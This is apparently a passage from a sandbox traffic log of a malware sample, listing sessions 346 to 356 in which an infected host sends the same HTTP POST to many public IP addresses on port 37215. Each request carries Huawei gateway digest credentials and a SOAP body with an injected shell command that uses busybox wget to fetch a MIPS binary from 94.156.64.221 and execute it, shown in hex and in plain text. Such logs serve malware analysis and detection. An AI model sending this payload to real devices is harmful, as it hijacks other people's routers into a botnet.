2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	52246	41.73.11.125	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275028944 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	51176	156.148.74.163	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275058031 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	49218	41.27.121.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275098085 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	39124	156.191.243.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275135040 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	58472	156.240.30.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275163889 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	32910	197.236.18.225	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275211096 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	54080	197.126.107.59	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275250912 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	36160	156.221.125.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275278091 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	40920	197.235.211.74	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275319099 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	44912	41.247.195.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275348902 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	58696	156.9.202.179	37215

Timestamp	Bytes transferred	Direction	Data
